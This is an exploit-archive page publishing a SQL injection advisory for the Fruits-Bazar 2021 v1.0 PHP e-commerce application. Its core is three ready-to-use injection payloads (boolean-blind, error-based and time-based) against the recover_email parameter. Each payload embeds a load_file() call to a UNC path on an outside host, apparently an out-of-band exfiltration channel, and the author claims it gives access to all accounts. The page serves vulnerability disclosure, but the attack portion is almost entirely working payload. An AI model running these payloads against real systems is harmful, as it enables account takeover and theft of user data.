Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Fruits-Bazar 2021 1.0 SQL Injection[6]
- Authored by nu11secur1ty[7]
-
Fruits-Bazar 2021 version 1.0 suffers from a remote SQL injection vulnerability.
- SHA-256 |
c8ac41d807542c94759d97b33a47b5c230d96e232266a117b9cd231ccb6901a2
- Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
## Title: Fruits-Bazar 2021 v1.0 SQLi
## Author: nu11secur1ty
## Date: 06.29.2022
## Vendor: https://github.com/creativesaiful
## Software: https://github.com/creativesaiful/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar-
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar
## Description:
The recover_email parameter appears to be vulnerable to SQL injection attacks.
The attacker can take access to all accounts on this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: recover_email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@[email protected]'+(select
load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@[email protected]\\olg'))+''
OR NOT 9177=9177 AND 'HeFM'='HeFM&u_pass_recover=Recover Password
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@[email protected]'+(select
load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@[email protected]\\olg'))+''
AND (SELECT 6160 FROM(SELECT COUNT(*),CONCAT(0x7178627171,(SELECT
(ELT(6160=6160,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'Mvga'='Mvga&u_pass_recover=Recover Password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@[email protected]'+(select
load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@[email protected]\\olg'))+''
AND (SELECT 4612 FROM (SELECT(SLEEP(5)))vECZ) AND
'qfSm'='qfSm&u_pass_recover=Recover Password
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar)
## Proof and Exploit:
[href](https://streamable.com/ngodwj)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
File Tags
- ActiveX[17] (932)
- Advisory[18] (77,681)
- Arbitrary[19] (15,137)
- BBS[20] (2,859)
- Bypass[21] (1,571)
- CGI[22] (1,011)
- Code Execution[23] (6,682)
- Conference[24] (668)
- Cracker[25] (797)
- CSRF[26] (3,272)
- DoS[27] (21,860)
- Encryption[28] (2,331)
- Exploit[29] (49,871)
- File Inclusion[30] (4,148)
- File Upload[31] (943)
- Firewall[32] (821)
- Info Disclosure[33] (2,549)
- Intrusion Detection[34] (853)
- Java[35] (2,790)
- JavaScript[36] (798)
- Kernel[37] (6,052)
- Local[38] (14,015)
- Magazine[39] (586)
- Overflow[40] (12,190)
- Perl[41] (1,410)
- PHP[42] (5,041)
- Proof of Concept[43] (2,283)
- Protocol[44] (3,313)
- Python[45] (1,398)
- Remote[46] (29,708)
- Root[47] (3,451)
- Ruby[48] (576)
- Scanner[49] (1,630)
- Security Tool[50] (7,692)
- Shell[51] (3,061)
- Shellcode[52] (1,202)
- Sniffer[53] (881)
- Spoof[54] (2,084)
- SQL Injection[55] (16,011)
- TCP[56] (2,360)
- Trojan[57] (676)
- UDP[58] (866)
- Virus[59] (659)
- Vulnerability[60] (30,458)
- Web[61] (9,030)
- Whitepaper[62] (3,716)
- x86[63] (942)
- XSS[64] (17,337)
- Other[65]
File Archives
- June 2022[66]
- May 2022[67]
- April 2022[68]
- March 2022[69]
- February 2022[70]
- January 2022[71]
- December 2021[72]
- November 2021[73]
- October 2021[74]
- September 2021[75]
- August 2021[76]
- July 2021[77]
- Older[78]
Systems
- AIX[79] (426)
- Apple[80] (1,883)
- BSD[81] (368)
- CentOS[82] (55)
- Cisco[83] (1,913)
- Debian[84] (5,948)
- Fedora[85] (1,690)
- FreeBSD[86] (1,241)
- Gentoo[87] (4,152)
- HPUX[88] (878)
- iOS[89] (318)
- iPhone[90] (108)
- IRIX[91] (220)
- Juniper[92] (67)
- Linux[93] (42,350)
- Mac OS X[94] (683)
- Mandriva[95] (3,105)
- NetBSD[96] (255)
- OpenBSD[97] (478)
- RedHat[98] (11,671)
- Slackware[99] (941)
- Solaris[100] (1,607)
- SUSE[101] (1,444)
- Ubuntu[102] (7,856)
- UNIX[103] (9,077)
- UnixWare[104] (185)
- Windows[105] (6,421)
- Other[106]